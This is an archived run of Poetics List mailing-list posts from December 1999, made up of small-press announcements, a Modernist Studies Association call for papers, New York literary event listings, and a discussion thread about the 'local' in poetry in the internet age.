> *Listmates, I apologize for responding to a b-c from Tom Raworth as though it had been f-c to this List. What confused me was that the post was fwded to me from another list-member, who had the day before fwded a post to her from me, to the List. Assuming this was further to that public discussion of events in Seattle, I screwed up. Sorry, Tom---although no cause that I can see, for yr post not to become part of the public discussion. That decision, however, is yours to make, not mine, and I regret any embarrasment I may have caused. And thanks to Doug Lang, for his well-merited rebuke. My face is redder than my armband. David*

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264. Poetics List
from Jacques Debrot
Fri 24 Dec 1999

From: [redacted]
Date: Fri, 17 Dec 1999 10:19:49 EST
Subject: ANNOUNCING 9-0 issue 2

ANNOUNCING 9-0 issue two

Poems by: JORDAN DAVIS (dreaming on tan plush, the right dreams), MICHAEL MAGEE (explains the meaning of tears), MICHAEL BASINSKI (a hoot he has, doing imitations of Rita Hayworth's cigarette gestures) and MARY BURGER (writing in 360 degrees).

stupidogrammes by DIETER ROTH.

only $2.50 4 issues $10.00

9-0 # 3 will be a single author issue featuring the work of JESSICA CHIU, winner of XCONNECT'S SHAWN LYN WALKER PRIZE.

2 is still available.
Poems by: LISA JARNOT, RAY DIPALMA, JACK KIMBALL. Raster Drawings by SIGMAR
POLKE.

Please make checks out to Jacques Debrot, 49 Old Meetinghouse Green, Norton MA 02766.

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265. Poetics List
from Jacques Debrot
Fri 24 Dec 1999

From: [redacted]
Date: Fri, 17 Dec 1999 10:36:36 EST
Subject: 9-0 issue one

of course, that should be 9-0 ISSUE ONE is still AVAILABLE. $2.50

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266. Poetics List
from Ron Silliman
Fri 24 Dec 1999

From: "Ron Silliman" <[redacted]>
To: [redacted]

Subject: Re: looking @ poetix (the local)
Date: Fri, 17 Dec 1999 07:57:21 PST

Mark,

I haven't seen the book yet, but hope to do so soon. You are of course entirely correct that one needs to look to see what is important in people's lives on a day-to-day basis (and the decay of the left over the past quarter century has a lot to do with this). One thing that struck me about the WTO actions in Seattle (beyond an enormous wave of nostalgia) was how similar it all was to the 1960s -- what brought people together in great numbers was something to which they objected (the WTO, the Viet Nam war). When you look at what was/is positive in those various groups, you see lots (!) of interesting projects that don't necessarily connect up with one another, and sometimes can even barely speak to one another. A thorny old issue.

A second question that has been striking me of late has to do with one's expectations from a "world of poetry" as one enters into it. In the 1960s, when my generation "came of age" the landscape was very definitely defined by the likes of Ginsberg, Olson, Duncan, Creeley, Spicer, Jones/Baraka, Kyger, Levertov, Lowell, Hall, Plath, Sexton, etc. It was, in that sense, a far simpler landscape. I think we expected the world to make sense in a way that younger people today have no such illusions about. (Think of the 700 people on the Poetics List, for example. If every one of them were to publish one book a year -- and there's no reason to think that the folks on the list aren't doing something fairly close to that already, at least statistically speaking -- who among us could even hope to read half, let alone intuit an intelligible terrain out of such disparate information.)

Both of these thoughts have been driving me toward the idea that the local is more important now than ever.

Ron

Get Your Private, Free Email at http://www.hotmail.com

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267. **Poetics List**
CFP: "New Modernisms II" / Laity
Fri 24 Dec 1999

This message had to be reformatted. Chris

---------- Original message (ID=1279BC86) (151 lines) ----------
Date: Fri, 17 Dec 1999 11:05:29 -0500

From: <[redacted]>
Subject: CFP: "New Modernisms II,", MSA 2000 10/12-10/15)

Dear Poetics List,
Please see the below call for panel proposals and seminar proposals for "New Modernisms II," to be hosted by Bob Perelman at the University of Pennsylvania, Oct. 12-15, 2000:

The Modernist Studies Association
“New Modernisms II”
12-15 October 2000
The University of Pennsylvania

CALL FOR PANEL AND SEMINAR PROPOSALS

“A return to modernism at the end of the millennium is not a farewell but a new
beginning.”
Susan Stanford Friedman
In its 1999 inaugural conference, described by The Chronicle of Higher
Education
as “giving new life for modernism,” the Modernist Studies Association created a
forum wherein scholars, poets, musicians and artists could contribute to this
ongoing revitalization. Modernist studies is reemerging as a dynamic and
complex field, hospitable to interdisciplinary, international and multicultural
approaches and energized by recent work in race, class, gender and sexuality.
“New Modernisms II” convenes at the University of Pennsylvania, and will
incorporate the urban diversity of Philadelphia. Our plenary sessions will
emphasize the arts, and performance, but our call for panel and seminar
proposals remains open.

Deadline for Panel Proposals: March 30, 2000
Deadline for Seminar Proposals: Feb. 15, 2000

Proposal guidelines are available on the MSA website:
http://www.psu.edu/dept/english/MSA/msa2.htm

The MSA homepage can be visisted at:
http://www.psu.edu/dept/english/MSA/msa.htm

Queries about seminar and panel proposals may be
directed to:
Cassandra Laity: [redacted] or Michael Coyle:
[redacted]
Completed proposals should be submitted to:
Professor Bob Perelman
Department of English
University of Pennsylvania
Philadelphia, PA 19104
[redacted]

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268. Poetics List
from Cassandra Laity
Fri 24 Dec 1999

Date: Fri, 17 Dec 1999 11:05:29 -0500
To: [redacted]
From: <[redacted]>
Subject: CFP: "New Modernisms II,", MSA 2000 10/12-10/15)

Dear Poetics List,
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Queries about seminar and panel proposals may be directed to:
Cassandra Laity: [redacted] or Michael Coyle:
[redacted]
Completed proposals should be submitted to:
Professor Bob Perelman
Department of English
University of Pennsylvania
Philadelphia, PA 19104
[redacted]

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269. Poetics List
from Burt Kimmelman
Fri 24 Dec 1999

From: "Kimmelman, Burt" <[redacted]>
Subject: Series on New Media at NJIT
Date: Sat, 18 Dec 1999 16:29:01 -0500

If you are in the physical/material neighborhood, then please do attend a series on New Media to be presented at New Jersey Institute of Technology (presenters will be: Diane Greco, Chris Funkhouser, Tina La Porte, and Stephanie Strickland). Details can be found here:
http://eies.njit.edu/~kimmelma/newmedia.html.

- Burt Kimmelman

[redacted]
http://eies.njit.edu/~kimmelma

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270. Mark Weiss
Gone until...
Fri 24 Dec 1999

I'm off to sunnier climes from tomorrow until the 9th, so apart from a few possible groans this is my last til then. Joy to all. Now hopefully I can remember how to unsub.

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271. Michael Neff
PERIHELION: The Phoenix Issue
Fri 24 Dec 1999

The online magazine, Perihelion, http://webdelsol.com/Perihelion, has returned.

Leaving behind the cybersoap opera, Perihelion has matured into a fine publication--no longer a personal networking vehicle for mediocre editors.

- See "Stalking the Wild Ashbery," reviews by Robert Sward.
- Ruth Daigon's essay on the relationship between poetry and music.
- Interview with Kathleen Lynch.
- Eleven of the west coast's finest poets
- Writer's Friendships and Enmities

Cheers,
Mike Neff

==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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272. MAYHEW
Asbhery coopted
Fri 24 Dec 1999

Mark P. wrote: But the post quoted above, from Jonathan, may be a little on the harsh side: many people do actually realize that JA is not "the kind of poet who wrties for the New Yorker". Even tho' he writes for the New Yorker!

****

Agreed! I didn't mean to be harsh to Ashbery, whom I also "respect the hell out of." All I meant to suggest was that the New Yorker, by publishing Prynne in great quantities, would remain pretty much the same magazine...

Jonathan Mayhew
[redacted]

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273. Joel Weishaus
Re: from Ron Silliman
Sat 25 Dec 1999

Ron Silliman wrote:

...Both of these thoughts have been driving me toward the idea that the local
>is more important now than ever.
>
Hi Ron.

Remember those bumper stickers, "Think Globally, Act Locally." ? It seems to me that, with mass communication and the net, local and global have become cognate. In fact, a poem that rhapsodizes a particular place seems to me like an Arthurian legend. Now Place exists only as myth. And where a myth lurks, poetry sounds itself out.

Best,
Joel

Joel Weishaus
Writer-In-Residence
The University of New Mexico
Albuquerque, NM

ARCHIVE: www.unm.edu/~reality SKULL-HOUSE: [Most recent draft]: www.unm.edu/~reality/Skull/intro.htm SKULL-HOUSE [Being built at Centre for Advanced Inquiry in the Interactive Arts]: http://caiia-star.newport.plymouth.ac.uk/projects/skullhouse/Skull/index.htm l

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274. Stephen Vincent
Re: Asbhery coopted
Sat 25 Dec 1999

In today's (Saturday) Christmas edition of the NY Times, there is a lovely prose poem by Ashberry.
Cheers,
Stephen Vincent

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275. Gary Shapiro
for those who plan in advance: two Boston Book Review events in NYC
Sun 26 Dec 1999

TWO FREE Boston Book Review LITERARY EVENTS to be held in New York City in February

Come meet the editor of the Boston Book Review. Come hear about classical norms in modern times (the theme of the talks).

UB Poetics Discussion Group & friends are cordially invited

February 25, 2000 FRIDAY 6:30pm
Location: 15 Gramercy Park South, NYC (near 20th Street & Park Ave)
To RSVP: Call [redacted] or email [redacted]

Charles M. Stang on "The Bliss of Discipline" . Among his other solitary practices, Henry David Thoreau was an avid reader of ancient philosophy. This talk will trace the Stoic and Epicurean influences on Thoreau's Walden. Introduced by Theoharis C. Theoharis, Editor of the Boston Book Review Charles Stang graduated from Harvard and has taught at Eton. He is studying theology at University of Chicago, and is a Contributing Writer for the Boston Book Review. Please note: this venue has a business attire requirement (jackets for men); thanks.

February 26,2000 SATURDAY 2:00pm THIS EVENT HAS A DIFFERENT LOCATION [call or email for location of this talk]: "A Fiction, A Dream of Passion" Editor of the Boston Book Review Theoharis C. Theoharis offers classical and modern arguments about the value of artistic emotions. A teacher at Harvard University ; he is the author his new translation of the complete poetic works of Constantine P. Cavafy, which will be published by Harcourt in 2001. He is the author of "Ibsen's Drama : Right Action and Tragic Joy", as well as "Joyce's Ulysses : An Anatomy of the Soul"

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276. Gary Shapiro

NYC literary events: Bread Loaf at 75, Boston Book Review, etc.

Sun 26 Dec 1999

NYC FREE LITERARY EVENTS
UB Poetics Discussion Group & friends are invited--

Location: 15 Gramercy Park South, NYC (near 20th Street & Park Ave)
To RSVP: Call [redacted] or email [redacted]
the venue requires business attire (jacket for men)

February 22,2000 6:30pm
Bread Loaf Writers' Conference at 75

David Haward Bain (author of Whose Woods These Are: A History of Breadloaf Writers' Conference) will give a slide show and talk. Michael Collier, Director, will introduce three Bread Loaf Faculty. In association with Middlebury College's Bicentennial (1800-2000).

David Haward Bain has written Empire Express, about the building of the transcontinental railroad in the 1860's.

Michael Collier has published three collections of poetry: The Clasp and Other Poems, The Folded Heart, and The Neighbor (1995), and has edited The Wesleyan Tradition: Four Decades of American Poetry. Forthcoming is The New Bread Loaf Anthology of Contemporary American Poetry (University Press of New England). He has received a NEA fellowship, a "Discovery"/The Nation Award, and a Pushcart Prize. He is currently on the English and writing faculty at the University of Maryland.

two NYC events for Boston Book Review
Come meet the Boston Book Review editor

February 25, 2000 6:30pm Charles M. Stang on "The Bliss of Discipline" . Among his other solitary practices, Henry David Thoreau was an avid reader of ancient philosophy. This talk will trace the Stoic and Epicurean influences on Thoreau's Walden. Introduced by Theoharis C. Theoharis, Editor of the Boston Book Review Charles Stang graduated from Harvard and has taught at Eton. He is studying theology at University of Chicago, and is a Contributing Writer for the Boston Book Review.

DIFFERENT LOCATION Feb 26,2000 Saturday 2:00pm [call or email for location of this event] "A Fiction, A Dream of Passion" Editor of the Boston Book Review Theoharis C. Theoharis offers classical and modern arguments about the value of artistic emotions. A teacher at Harvard University ; he is the author his new translation of the complete poetic works of Constantine P. Cavafy, which will be published by Harcourt in 2001. He is the author of Ibsen's Drama

: Right Action and Tragic Joy, as well as Joyce's Ulysses : An Anatomy of the Soul.

other events to stay tuned for:
March 11 National Book Critics Circle panel "Criticism in the Real World" with leading book reviewers and critics [call or email for location of event]

April 10 The 20th Anniversary of The Threepenny Review
more details to follow

April 12, 2000
Paris Press evening on
Emily Dickinson with Jan Freeman & others

April 17,2000 6:00pm
RT Smith and Sarah Kennedy [call or email for location of this event]

Sarah Kennedy's first book, From the Midland Plain, is just out from Tryon Publishing.

R.T. Smith, Editor of Shenandoah, whose most recent book Split the Lark: Selected Poems (Salmon, 1999). Messenger (LSU) is forthcoming. His other books include Trespasser, The Cardinal Heart, and Banish Misfortune. He is a frequent visitor to Ireland, where he gives lectures and readings.

April 18, 2000
Shenandoah at 50: A Celebration
Brendan Galvan, whose latest book is The Strength of A Named Thing (LSU,1999). He has won the Iowa Prize for Hotel Malabar, and has twice Been a finalist for the Pulitzer Prize. He lives on Cape Cod.

Henry Taylor, who won the Pulitzer Prize for The Flying Change. His most recent book is Understanding Fiction (LSU,1996), which is a collection of poems. Brief Candles is forthcoming from LSU. He is Professor of Literature at American University in Washington, D.C.

Rebecca McClanahan, whose new book Naked As Eve (Copper Canyon), has won Shenandoah's Thomas H. Carter Prize for the essay. She lives in New York City.

Dabney Stuart, former editor of Shenandoah, and Professor of English at Washington & Lee University. His most recent book is Settlers (LSU,1999). He has been a Guggenheim beneficiary.

R.T. Smith, Editor of Shenandoah, whose most recent book Split the Lark: Selected Poems (Salmon, 1999). Messenger (LSU) is forthcoming. His other books include Trespasser, The Cardinal Heart, and Banish Misfortune. He is a frequent visitor to Ireland, where he gives lectures and readings. He has also edited Buck & Wing: Southern Poetry at 2000.

April 26, 2000 Wednesday

Jaime Manrique will read from his memoir Eminent Marcones (University of Wisconsin Press, 1999), which includes chapters on Federico Garcia Lorca, Reinaldo Arenas and Manuel Puig ("The Writer as Diva,")

Jaime Manrique is a poet, novelist, essayist, and translator. He is author of the novels Twilight at the Equator (Faber and Faber), Latin Moon in Manhattan (St. Martin's), and Colombian Gold (Clarkson Potter), as well as a wide range of poetry and short story collections. Born in Colombia, he resides in New York City.

Rosanne Wasserman will read from her new book of poems Other Selves (Painted Leaf, 1999)

Rosanne Wasserman's books include Apple Perfume, The Lacemakers, and No Archive on Earth. Along with her husband Eugene Richie, she is founding editor of the Groundwater Press. She teaches at the U.S. Merchant Marine Academy in Kings Point, New York. "Rosanne Wasserman is that rarity, a poet who maintains a strict observance of "self" in each frame of herself," writes Barbara Guest.

Eugene Richie, founding editor of The Groundwater Press will introduce the evening. He teaches at Pace University. He is the author of a book of poems, Island Light (Painted Leaf, 1998), as well as a chapbook Moire, and is co-translator of My Night with Federico Garcia Lorca by Jaime Manrique. His work has appeared in Ploughshares, Mudfish, and many other journals.

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277. Leslye Layne Russell

Santa

Sun 26 Dec 1999

Warm holidays to all....
******

Santa
-----

foot high Santa
stands on the mantle
red felt suit
black belt and boots
gentle smile every year
right out of the box

(I gave him to you on your
first birthday
my mother told me)

he has lived well the decades
earned his white flowing
beard
as I
my silver hair

12/98 Leslye Layne Russell

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.sonic.net/layne
a quiet place
"In this rose light, time's door does not close."

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278. Heather A
Re: from Ron Silliman
Sun 26 Dec 1999

Ron Silliman wrote:

...Both of these thoughts have been driving me toward the idea that then local is more important now than ever.

Joel Weishaus wrote:

Hi Ron.

Remember those bumper stickers, "Think Globally, Act Locally." ? It seems to me that, with mass communication and the net, local and global have become cognate. In fact, a poem that rhapsodizes a particular place seems to me like an Arthurian legend. Now Place exists only as myth. And where a myth lurks, poetry sounds itself out.

==========

As a novice to the "world" or the "local" of poetry, but a long standing member in my personal surroundings of it, the conversation here is making me wonder a bit. Does it truly have to be about epitomizing a certain standard? I have to agree Joel, where the walls and fences are brought down, it leaves a clear view of the color spectrum poetry creates on its own. No matter its origin or its creator's origin. But, why can it all not go hand in hand? Can one not stand on the corner reciting verse to their neighbor one day, and send an email to the world the next? As a person not so concerned (for now) with whom and why they read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

my work (as "local" it seems to be of late) I am indebted to the blur that "world" and "local" has become. I am grateful for whatever email I receive from whomever a thousand miles away that may have never known this little Southern girl existed and to the acquaintance at my side offering a "personal review" of my latest "local" idea. But, Ron, as at some point we all become concerned to a certain degree of who and why, it is a somber thought of the masses that must now be "competed" against. Even now I feel as if I have walked into a tidal wave of too much at once.

Thank you for the thoughts,

Heather Allen

_____
Get Your Private, Free Email at http://www.hotmail.com

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279. Patrick Herron
Re: from Ron Silliman
Sun 26 Dec 1999

Heather wrote:

> *I have to agree Joel, where the walls and fences are brought down, it leaves a clear view of the color spectrum poetry creates on its own. No matter its origin or its creator's origin. I am indebted to the blur that "world" and "local" has become. I am grateful for whatever email I receive from whomever a thousand miles away that may have never known this little Southern girl existed and to the acquaintance at my side offering a "personal review" of my latest "local" idea.*

I think Ron is right about the local. If anything, Joel, Heather, the internet is making clear the importance of proximity, the local. why? the internet is frequently trying to _simulate_ the familiar, the local, and it's just a myth of the familiar. as Joel says, that's where poetry rests. Agreed.

Personalized web pages or friendly e-mail just make things _seem_ personal while the actual relationships are more distal than ever.

E-mail also creates the myth of the familiar. I do not know you or anyone else here better by virtue of e-mail. There is no substitute for actual proximity, for people in the flesh, for extralinguistic communication.

Autocracy lurks in the blurring of the real and the simulated. (uh-oh, i'm asking for it!)

As an example, have you ever met a "friendly" writer who turns out in person to be a complete asshole? Or vice-versa? I am sure many of us have. The

seemingly freindly chap, one who seems personal, warm, intimate, is not in any way intimate or personal. This is an early lesson for most readers.

Patrick

_____
Get Your Private, Free Email at http://www.hotmail.com

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280. Jena Osman
light poems
Sun 26 Dec 1971

Hi,
Does anyone know anything about the procedure behind Jackson Mac Low's Light Poems from the 60s? Thanks,
Jena

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281. Stephen Vincent
Re: from Ron Silliman?
Sun 26 Dec 1999

Might be helpful if Ron amplified on a definition or his definition of the "local." But picking up on a couple of other responses to this thread - when someone is turning a corner in their SUV talking into a cellphone and I am in the crosswalk - in order to possibly save my life (on the assumption that driver is not really "here") - I have to use all my pedestrian power (eye contact, a jump back and a slap on the hood) to bring that driver back into the "local." Sometimes I believe that's the function - or one of them - of a poem, at least a good "local" one.

Cheers,
Stephen Vincent

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282. David Zauhar
Re: for those who plan in advance: two Boston Book Review events in NYC
Sun 26 Dec 1999

On Sun, 26 Dec 1999, Gary Shapiro wrote:
> TWO FREE Boston Book Review LITERARY EVENTS to be held in New York City in
> February
>

> Charles M. Stang on "The Bliss of Discipline" .
> Among his other solitary practices, Henry David Thoreau was an avid reader
> of ancient philosophy. This talk will trace the Stoic and Epicurean
> influences on Thoreau's Walden. Introduced by Theoharis C. Theoharis, Editor
> of the Boston Book Review
> Please note: this venue has a business attire requirement (jackets
> for men); thanks.

Business attire for a lecture on Thoreau. How appropriate.

David Zauhar
University of Illinois at Chicago

"i have a city to cover with lines"

--d.a. levy

> *February 26,2000 SATURDAY 2:00pm*
> *THIS EVENT HAS A DIFFERENT LOCATION [call or email for location of this talk]: "A Fiction, A Dream of Passion"*
> *Editor of the Boston Book Review Theoharis C. Theoharis offers classical and modern arguments about the value of artistic emotions. A teacher at Harvard University ; he is the author his new translation of the complete poetic works of Constantine P. Cavafy, which will be published by Harcourt in 2001. He is the author of "Ibsen's Drama : Right Action and Tragic Joy", as well as "Joyce's Ulysses : An Anatomy of the Soul"*

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283. Alan Sondheim
notice on my work
Sun 26 Dec 1999

-

Internet Philosophy and Psychology - Jan. 00

This is a somewhat periodic notice describing my Internet Text, available on the Net, and sent in the form of texts to various lists. The URL is: http://www.anu.edu.au/english/internet_txt/ which is partially mirrored at http://lists.village.virginia.edu/~spoons/internet_txt.html. (The first site includes some graphics, dhtml, The Case of the Real, etc.)

The changing nature of the email lists, Cybermind and Fiction-of-Philoso- phy, to which the texts are sent individually, hides the full body of the work; readers

may not be aware of the continuity among them. The writing may appear fragmented, created piecemeal, splintered from a non-existent whole. On my end, the whole is evident, the texts extended into the lists, part or transitional objects.

So this (periodic) notice is an attempt to recuperate the work as total- ity, restrain its diaphanous existence. Below is an updated introduction.

The "Internet Text" currently constitutes around 80 files, or 3500 print- ed pages. It began in 1994, and continues as an extended meditation on cyberspace, expanding into 'wild theory' and literatures.

Almost all of the text is in the form of short-waves or long-waves. The former are the individually-titled sections, written in a variety of sty- les, at times referencing other writers/theorists. The sections are inter- related; on occasion emanations appear, avatars possessing philosophical or psychological import. They also create and problematize narrative sub- structures within the work as a whole. Such are Julu, Alan, Jennifer, and Nikuko, in particular. Overall, I'm concerned with virtual-real subjectiv- ity and its manifestations, in relation to various philosophical issues. Recently I've been working with body issues through consideration of ava- tars and ballet (Nikuko and Doctor Leopold Konninger), as well as issues of philosophy in general; some of this has been produced as a series of videotapes through the Experimental Television Center in Owego, NY. I have also been intensively working on a diary for trAce, the online writing community; see the URLs below.

The long-waves are fuzzy thematics bearing on such issues as death, love, virtual embodiment, the "granularity of the real," physical reality, com- puter languages, and protocols. The waves weave throughout the text; the resulting splits and convergences owe something to phenomenology, program- ming, deconstruction, linguistics, prehistory, etc., as well as to the domains of online worlds in relation to everyday realities.

I have used MUDS, MOOS, talkers, perl, d/html, qbasic, linux, emacs, CuSeeMe, etc., all tending towards a future of being-and-writing, texts which act and engage beyond traditional reading practices. Some of the work emerges out of performative language such as computer programs which _do_ things; some emerges out of interferences with these programs, or conversations using internet applications that are activated one way or another. And some of the work appears out of collaboration or video, the latter with Azure Carter and Foofwa d'Imobilite, leading to another series of texts.

There is no binarism in the texts, no series of definitive statements. Virtuality is considered beyond the text- and web-scapes prevalent now. The various issues

of embodiment that will arrive with full-real VR are already in embryonic existence, permitting the theorizing of present and future sites, "spaces," nodes, and modalities of body/speech/community.

Please check the INDEX to find your way into the earlier body of the work. The Case of the Real is a sustained work that may be the most useful text of all. It is also helpful to read the first file, Net1.txt, and/or to look at the latest files (le, lf, etc., which are still to be indexed) as well. Skip around. The Index lists the files in which a particular topic is described; you can then do a search on the file, or simply scroll down (the files range in length from 30 to 50 pages in print). (Note: I have stopped working on the index; for the later files, I suggest you skim. Eventually, I need a site and a local search engine for the texts; at the moment, I apologize for the awkwardness of it all.)

The texts may be distributed in any medium; please credit me. I would ap- preciate in return any comments you may have.

I should mention you can find my collaborative activities at http://trace.ntu.ac.uk/writers/sondheim/index.htm and my conference activities at http://trace.ntu.ac.uk - both as a result of my virtual writer-in-residence with the Trace online writing community.

See also:
Being on Line, Net Subjectivity (anthology), Lusitania, 1997
New Observations Magazine #120 (anthology), Cultures of Cyberspace, 1998
The Case of the Real, Pote and Poets Press, 1998
Jennifer, Nominative Press Collective, 1997

Alan Sondheim [redacted]
432 Dean Street, Brooklyn, NY, 11217
mail to: [redacted]

↑ Index

284. **vbnm2**
Re: from Ron Silliman
Mon 27 Dec 1999

Ezra Pound wrote:

Think global, act loco

_____
Visit Excite Shopping at http://shopping.excite.com
The fastest way to find your Holiday gift this season

↑ Index

285. Richard Dillon
Re: from Ron Silliman?
Mon 27 Dec 1999

Of course, if ambling about in a poet's dream
motioning at the clouds
somewhere middle of Hollywood crosswalk,

you are brought to vigilance by the shout
of an all too patient Lincoln SUV

you and Bukowski can go
-Local-Dokel-Drinkie-Pinkie-

>From: Stephen Vincent <[redacted]>
>To: [redacted]
>Subject: Re: from Ron Silliman?
>Date: Sun, Dec 26, 1999, 6:16 PM
>

> *Might be helpful if Ron amplified on a definition or his definition of the "local." But picking up on a couple of other responses to this thread - when someone is turning a corner in their SUV talking into a cellphone and I am in the crosswalk - in order to possibly save my life (on the assumption that driver is not really "here") - I have to use all my pedestrian power (eye contact, a jump back and a slap on the hood) to bring that driver back into the "local." Sometimes I believe that's the function - or one of them - of a poem, at least a good "local" one.*
>
> *Cheers,*
> *Stephen Vincent*

↑ Index

286. Tom Beckett
Re: weishaus and others
Mon 27 Dec 1999

The "local" and the "global" are __false__cognates. As the new information technologies "shrink" the" world", the world becomes less knowable because it comes to seem more abstract and similar.

And I still insist that what e-mail listservs tend to produce is speech without social context--a whole lot of bad monologues.

Tom Beckett

↑ Index

287. **Maria Damon**
walcott citation: desperate query
Mon 27 Dec 1999

---

hi groovoids, i'm desperately looking for the source of this quote by derek walcott. i can't remember where i saw it; but i used it in a paper that's now almost in press and i need to legitimate it. i vaguely think it may be from an interview, and i read it cited by someone else. i will send a copy of the booglite Poetry as Cultural Critique chapbook to whomever can help me out. in anticipatory appreciation, maria d

"Break a vase, and the love the reassembles the fragments is stronger than
>that love which took its symmetry for granted when it was whole... This
>gathering of broken pieces is the care and pain of the Antilles, and if the
>pieces are disparate, ill-fitting, they contain more pain than their
>original sclpture, those icons and sacred vessels taken from granted in
>their ancestral places. Antillean art is this restoration of our shattered
>histories, our shards of vocabulary, our archipelago becoming a synonym for
>pieces broken off from the original continent."

↑ Index

288. **Maria Damon**
d.a.levy
Mon 27 Dec 1999

---

hi, i'm giving buddhist third class junkmail oracle a read...i find it very depressing...like reading minima moralia...reading the brilliant outpourings of someone who doesn't want to be alive and has no sense of humor about it...can someone help me?

↑ Index

289. **Joel Weishaus**
Re: weishaus and others
Mon 27 Dec 1999

> The "local" and the "global" are __false__cognates. As the new information
> technologies "shrink" the" world", the world becomes less knowable because
> it comes to seem more abstract and similar.
>
> And I still insist that what e-mail listservs tend to produce is speech
> without social context--a whole lot of bad monologues.

>
> Tom Beckett

What world are we talking about? Perhaps there are as many worlds as there are minds to perceive them.

"It is always hard like this, not having a/world,/to imagine one, to wall whether in/or out, to build a kind of cage for the sake/of feeling the bars around us, to give/shape to a world./And oh, it is always a world and not the/world." -William Bronk. From, "At Tikal"

_Joel

Joel Weishaus
Writer-In-Residence
The University of New Mexico
Albuquerque, NM

ARCHIVE: www.unm.edu/~reality SKULL-HOUSE: [Most recent draft]: www.unm.edu/~reality/Skull/intro.htm SKULL-HOUSE [Being built at Centre for Advanced Inquiry in the Interactive Arts]: http://caiia-star.newport.plymouth.ac.uk/projects/skullhouse/Skull/index.htm l

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290. Chris Stroffolino
Re: from Ron Silliman?
Mon 27 Dec 1999

What did I do today?

I looked up the word "unctious" (very slowly),
that's what I did today

c

On Mon, 27 Dec 1999, Richard Dillon wrote:

> *Of course, if ambling about in a poet's dream*
> *motioning at the clouds*
> *somewhere middle of Hollywood crosswalk,*
>
> *you are brought to vigilance by the shout*
> *of an all too patient Lincoln SUV*
>
> *you and Bukowski can go*
> *-Local-Dokel-Drinkie-Pinkie-*
> *----------*
> *From: Stephen Vincent <*[redacted]*>*
> *To:* [redacted]

> *Subject: Re: from Ron Silliman?*
> *Date: Sun, Dec 26, 1999, 6:16 PM*
>
> *Might be helpful if Ron amplified on a definition or his definition of the "local." But picking up on a couple of other responses to this thread - when someone is turning a corner in their SUV talking into a cellphone and I am in the crosswalk - in order to possibly save my life (on the assumption that driver is not really "here") - I have to use all my pedestrian power (eye contact, a jump back and a slap on the hood) to bring that driver back into the "local." Sometimes I believe that's the function - or one of them - of a poem, at least a good "local" one.*
>
> *Cheers,*
> *Stephen Vincent*

↑ Index

291. **Tisa Bryant**

Re: walcott citation: desperate query

Mon 27 Dec 1999

I don't know where it came from, but I'd like to, because it sounds like the inspiration for N. Mackey's ongoing prose work, "From a Broken Bottle Perfume Still Emanates", the first two volumes being of course BEDOUIN HORNBOOK and DJBOT BAGHOSTUS' RUN.

Perhaps Mr. Nielsen knows?

>From: Maria Damon <[redacted]>
>To: [redacted]
>Subject: walcott citation: desperate query
>Date: Mon, Dec 27, 1999, 9:27 AM
>

> *hi groovoids, i'm desperately looking for the source of this quote by derek walcott. i can't remember where i saw it; but i used it in a paper that's now almost in press and i need to legitimate it. i vaguely think it may be from an interview, and i read it cited by someone else. i will send a copy of the booglite Poetry as Cultural Critique chapbook to whomever can help me out. in anticipatory appreciation, maria d*
>
> *"Break a vase, and the love the reassembles the fragments is stronger than that love which took its symmetry for granted when it was whole... This gathering of broken pieces is the care and pain of the Antilles, and if the*

> *pieces are disparate, ill-fitting, they contain more pain than their original sclpture, those icons and sacred vessels taken from granted in their ancestral places. Antillean art is this restoration of our shattered histories, our shards of vocabulary, our archipelago becoming a synonym for pieces broken off from the original continent.*"

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292. Joe Amato
long poem...
Tue 28 Dec 1999

---

just stumbled across the following at carolyn forche's website: "the long poem newsletter," at

http://www.bath.ac.uk/~exxdgdc/lpgn/lpgn1.html

seems kinda... conservative in its musings... but i thought some of you might be interested...

happy y2k!...

best,

joe

↑ Index

293. Alan Sondheim
Merging and Rambling
Tue 28 Dec 1999

-

Merging and Rambling

If IBM merged with the Post Office, you'd have International Business Machine Office. If Red Hat merged with Microsoft, you'd have Red Soft. If Linux merged with Unix, you'd have Lunix. If Macy's merged with Stern's, you'd have Merny's. If CBS radio merged with CBS television you'd have CBS relevision. If the American Broadcasting System merged with Pinchik's Hardware, you'd have Pamerican Hoadcasting System. If Alan merged with Azure you'd have Alure. If Nettime merged with Cybermind you'd have Net- mind. If the Internet merged with the London Times, you'd have Lonernet Times. If Tibet merged with Belgium , you'd have Tigium. If a President Clinton merged with a Margaret Thatcher, you'd have Margaret Clinton. If NATO merged with the Red Brigades, you'd have Ned Brigades. If Dean Street merged with O'Reilly Publishing, you'd have Deano Reilly Publishing. If a password merged with login,

you'd have pogin. If the first word merged with the last word, you'd have the fast word. If Wall Street merged with Leopoldstrasse, you'd have Wallopoldstrasse. If Venus merged with Mars, you'd have Vars. If the Universe merged with Nothing you'd have Unnothing, but if the Void merged with the Abyss, you'd have the Voiss. If Chrysler merged with the Y2k problem, you'd have the Chrytookay problem. If Kyoko Date merged with Madonna, you'd have Kyodonna. If a sentence merged with a paragraph, you'd have a sentagraph. If Bladerunner merged with Little Women, you'd have Blattle Women. If God merged with Sondheim, you'd have Gondheim, but if Old Navy merged with Banana Republic, you'd have Old Banana Republic and if Pathmart merged with Wimpy's, you'd have Pampy's, but if Ford merged with women, you'd have Fomen, and if Hibiscus merged with Tulips you'd have Hibips.

There were some people over there who had a dance. Some other people came up. They were from the Turtle People. Two of them carried a shining thing they saw in the water. Some women tried to shoot at it. One of them caught it in her net. She brought it back. Some men at the dance tried to take it. A bird landed on the net and it disappeared. The woman said, from now on you will have this disease. She took the shining thing and put it in the sky.

↑ Index

294. **pete spence**

Re: from Ron Silliman

Tue 28 Dec 1999

> *Ron Silliman wrote:*
>
> *...Both of these thoughts have been driving me toward the idea that the local*
> *is more important now than ever.*
>
> *Hi Ron.*

whyche reminds me rite now we are looking further out along the coast for somewhere with a population of around 300 ,, the last 2 years have seen our present town balloon into a suburb, pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

295. **Steve Tills**
Black Box Cutaway
Wed 29 Dec 1999

Just now finally reading Susan Gevirtz' _Black Box Cutaway_, a kaleidoscope of sights for famished eyes. How's she doing that, anyway, the subtle and delicious glides from one frame of fresh landscape to another--here from a ledge, there from inside-out, now there from down below, now here from the fold of a curtain named eternity? Bravo, Susan! I don't have your e-mail address, so here's some excitement, my praise, via the grapevine.

Steve Tills

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296. **mdw**
e-mail for Joshua McKinney
Wed 29 Dec 1999

Hey folks--

